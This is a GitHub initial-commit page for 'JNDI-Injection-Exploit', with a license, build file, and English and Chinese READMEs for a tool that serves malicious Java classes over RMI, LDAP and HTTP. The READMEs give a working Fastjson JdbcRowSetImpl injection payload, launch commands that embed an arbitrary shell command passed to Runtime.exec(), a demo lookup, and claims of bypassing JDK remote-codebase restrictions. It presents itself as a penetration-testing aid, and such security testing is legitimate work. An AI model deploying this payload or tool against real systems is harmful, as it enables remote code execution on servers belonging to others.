Skip to content

Commit 42536a5

Browse files
cckuailongcckuailong
committed
init
0 parents  commit 42536a5

21 files changed

+1496
-0
lines changed

‎.gitignore‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
out/
2+
target/
3+
.idea/

‎LICENSE‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2019 welk1n
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

‎README-CN.md‎

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
## 介绍
2+
3+
JNDI注入利用工具，生成JNDI链接并启动后端相关服务，可用于Fastjson、Jackson等相关漏洞的验证。
4+
5+
## 使用
6+
7+
可执行程序为jar包，在命令行中运行以下命令：
8+
9+
```shell
10+
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
11+
```
12+
13+
其中:
14+
15+
- **-C** - 远程class文件中要执行的命令。
16+
17+
（可选项 , 默认命令是mac下打开计算器，即"open /Applications/Calculator.app"）
18+
19+
- **-A** - 服务器地址，可以是IP地址或者域名。
20+
21+
（可选项 , 默认地址是第一个网卡地址）
22+
23+
注意:
24+
25+
- 要确保 **1099**、**1389**、**8180**端口可用，不被其他程序占用。
26+
27+
或者你也可以在run.ServerStart类26~28行更改默认端口。
28+
29+
- 命令会被作为参数传入**Runtime.getRuntime().exec()**，
30+
31+
所以需要确保命令传入exec()方法可执行。
32+
33+
**bash等可在shell直接执行的相关命令需要加双引号，比如说 java -jar JNDI.jar -C "bash -c ..."**
34+
35+
## 示例
36+
37+
### 本地演示：
38+
39+
1. 启动 JNDI-Injection-Exploit：
40+
41+
```shell
42+
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
43+
```
44+
45+
截图：
46+
![](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/1.png)
47+
48+
49+
2. 我们需要把第一步中生成的 JNDI链接注入到存在漏洞的应用环境中，方便解释用如下代码模仿漏洞环境：
50+
51+
```java
52+
public static void main(String[] args) throws Exception{
53+
InitialContext ctx = new InitialContext();
54+
ctx.lookup("rmi://127.0.0.1/fgf4fp");
55+
}
56+
```
57+
58+
当上面代码运行后，应用便会执行相应命令，这里是弹出计算器，没截图，可以自己测一下。
59+
60+
截图是工具的server端日志：
61+
62+
![](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/2.png)
63+
64+
65+
66+
## 安装
67+
68+
下面两种方法都可以得到Jar包
69+
70+
1. 从 [Realease](https://github.com/welk1n/JNDI-Injection-Exploit/releases)直接下载最新的Jar。
71+
72+
2. 把源码下载到本地然后自行编译打包。（在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以）
73+
74+
```shell
75+
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
76+
```
77+
78+
```shell
79+
$ cd JNDI-Injection-Exploit
80+
```
81+
82+
```shell
83+
$ mvn clean package -DskipTests
84+
```
85+
86+
## 工具实现
87+
88+
1. 首先生成的链接后面codebaseClass是6位随机的，这个是因为不希望让工具生成的链接本身成为一种特征被监控或拦截。
89+
2. 服务器地址实际就是codebase地址，相比于marshalsec中的JNDI server来说，这个工具把JNDI server和HTTP server绑定到一起，并自动启动HTTP server返回相应class，更自动化了。
90+
3. HTTP server基于jetty实现的，本质上是一个能下载文件的servlet，比较有意思的是我提前编译好class模板放到resource目录，然后servlet会读取class文件，使用ASM框架对读取的字节码进行修改，然后插入我们想要执行的命令，返回修改后的字节码。
91+
92+
## 待实现
93+
94+
- （已完成EL表达式绕过部分）在更高版本的JDK环境中trustURLCodebase变量为false，限制了远程类的加载，我会找时间把[JNDI-Injection-Bypass](https://github.com/welk1n/JNDI-Injection-Bypass)这个项目的东西融入到本项目中，生成能绕过JDK限制JNDI链接。
95+
- … ...

‎README.md‎

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
# JNDI-Injection-Exploit
2+
3+
[Materials about JNDI Injection](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
4+
5+
[中文文档](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md)
6+
7+
[相关文章](https://www.cnblogs.com/Welk1n/p/11066397.html)
8+
9+
## Description
10+
11+
JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on [marshals](https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.
12+
13+
Using this tool allows you get JNDI links, you can insert these links into your **POC** to test vulnerability.
14+
15+
For example, this is a Fastjson vul-poc:
16+
17+
```json
18+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
19+
```
20+
21+
We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability.
22+
23+
## Disclaimer
24+
25+
All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities.
26+
27+
## Usage
28+
29+
Run as
30+
31+
```shell
32+
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
33+
```
34+
35+
where:
36+
37+
- **-C** - command executed in the remote classfile.
38+
39+
(optional , default command is "open /Applications/Calculator.app")
40+
41+
- **-A** - the address of your server, maybe an IP address or a domain.
42+
43+
(optional , default address is the first network interface address)
44+
45+
Points for attention:
46+
47+
- make sure your server's ports (**1099**, **1389**, **8180**) are available .
48+
49+
or you can change the default port in the run.ServerStart class line 26~28.
50+
51+
- your command is passed to **Runtime.getRuntime().exec()** as parameters,
52+
53+
so you need to ensure your command is workable in method exec().
54+
55+
**Command in bash like "bash -c ...." need to add Double quotes.**
56+
57+
## Examples
58+
59+
Local demo:
60+
61+
1. Start the tool like this:
62+
63+
```shell
64+
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
65+
```
66+
67+
Screenshot:
68+
69+
![image-20191018154346759](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/1.png)
70+
71+
2. Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.
72+
73+
In this example, it looks like this:
74+
75+
```java
76+
public static void main(String[] args) throws Exception{
77+
InitialContext ctx = new InitialContext();
78+
ctx.lookup("rmi://127.0.0.1/fgf4fp");
79+
}
80+
```
81+
82+
then when we run this code, the command will be executed ,
83+
84+
and the log will be printed in shell:
85+
86+
![image-20191018154515787](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/screenshots/2.png)
87+
88+
89+
90+
## Installation
91+
92+
We can select one of the two methods to get the jar.
93+
94+
1. Download the latest jar from [Realease](https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar).
95+
96+
2. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).
97+
98+
```shell
99+
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
100+
```
101+
102+
```shell
103+
$ cd JNDI-Injection-Exploit
104+
```
105+
106+
```shell
107+
$ mvn clean package -DskipTests
108+
```
109+
110+
## To do
111+
112+
- (**Done**)Combine this project and [JNDI-Injection-Bypass](https://github.com/welk1n/JNDI-Injection-Bypass) to generate workable links when **trustURLCodebase is false** in higher versions of JDK by default.
113+
- … ...

‎pom.xml‎

Lines changed: 138 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>welk1n</groupId>
8+
<artifactId>JNDI-Injection-Exploit</artifactId>
9+
<version>2.0-SNAPSHOT</version>
10+
11+
<properties>
12+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
13+
<jetty.version>8.1.9.v20130131</jetty.version>
14+
<compiler.version>1.8</compiler.version>
15+
<java.version>1.8</java.version>
16+
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
17+
<maven.compiler.source>1.8</maven.compiler.source>
18+
<maven.compiler.target>1.8</maven.compiler.target>
19+
</properties>
20+
21+
22+
<dependencies>
23+
<!-- Util -->
24+
<dependency>
25+
<groupId>org.ow2.asm</groupId>
26+
<artifactId>asm</artifactId>
27+
<version>7.1</version>
28+
</dependency>
29+
30+
<dependency>
31+
<groupId>org.javassist</groupId>
32+
<artifactId>javassist</artifactId>
33+
<version>3.19.0-GA</version>
34+
</dependency>
35+
36+
<dependency>
37+
<groupId>org.reflections</groupId>
38+
<artifactId>reflections</artifactId>
39+
<version>0.9.9</version>
40+
</dependency>
41+
42+
<dependency>
43+
<groupId>org.slf4j</groupId>
44+
<artifactId>slf4j-nop</artifactId>
45+
<version>1.7.24</version>
46+
</dependency>
47+
48+
<dependency>
49+
<groupId>org.apache.commons</groupId>
50+
<artifactId>commons-lang3</artifactId>
51+
<version>3.4</version>
52+
</dependency>
53+
54+
<dependency>
55+
<groupId>commons-cli</groupId>
56+
<artifactId>commons-cli</artifactId>
57+
<version>1.3</version>
58+
</dependency>
59+
60+
61+
<!-- For LDAP reference jndi -->
62+
<dependency>
63+
<groupId>com.unboundid</groupId>
64+
<artifactId>unboundid-ldapsdk</artifactId>
65+
<version>3.1.1</version>
66+
</dependency>
67+
68+
<!-- Jetty -->
69+
<dependency>
70+
<groupId>org.eclipse.jetty.aggregate</groupId>
71+
<artifactId>jetty-webapp</artifactId>
72+
<version>${jetty.version}</version>
73+
</dependency>
74+
75+
<!-- Bypass JDK 1.8.0_191+ -->
76+
<!-- <dependency>-->
77+
<!-- <groupId>org.springframework.boot</groupId>-->
78+
<!-- <artifactId>spring-boot-starter-web</artifactId>-->
79+
<!-- <version>2.1.1.RELEASE</version>-->
80+
<!-- </dependency>-->
81+
82+
<dependency>
83+
<groupId>org.apache.tomcat</groupId>
84+
<artifactId>tomcat-catalina</artifactId>
85+
<version>8.5.38</version>
86+
</dependency>
87+
<dependency>
88+
<groupId>org.apache.tomcat</groupId>
89+
<artifactId>tomcat-jasper-el</artifactId>
90+
<version>8.5.38</version>
91+
</dependency>
92+
<!-- <dependency>-->
93+
<!-- <groupId>org.codehaus.groovy</groupId>-->
94+
<!-- <artifactId>groovy</artifactId>-->
95+
<!-- <version>2.4.5</version>-->
96+
<!-- </dependency>-->
97+
98+
<!-- test -->
99+
<dependency>
100+
<groupId>junit</groupId>
101+
<artifactId>junit</artifactId>
102+
<version>4.12</version>
103+
<scope>test</scope>
104+
</dependency>
105+
</dependencies>
106+
107+
108+
<build>
109+
<plugins>
110+
<plugin>
111+
<artifactId>maven-assembly-plugin</artifactId>
112+
<version>2.5.5</version>
113+
<configuration>
114+
<finalName>${project.artifactId}-${project.version}-all</finalName>
115+
<appendAssemblyId>false</appendAssemblyId>
116+
<descriptorRefs>
117+
<descriptorRef>jar-with-dependencies</descriptorRef>
118+
</descriptorRefs>
119+
<archive>
120+
<manifest>
121+
<mainClass>run.ServerStart</mainClass>
122+
</manifest>
123+
</archive>
124+
</configuration>
125+
<executions>
126+
<execution>
127+
<id>make-assembly</id>
128+
<phase>package</phase>
129+
<goals>
130+
<goal>single</goal>
131+
</goals>
132+
</execution>
133+
</executions>
134+
</plugin>
135+
</plugins>
136+
</build>
137+
138+
</project>

‎screenshots/1.png‎

159 KB
Loading

‎screenshots/2.png‎

238 KB
Loading

0 commit comments

Comments
 (0)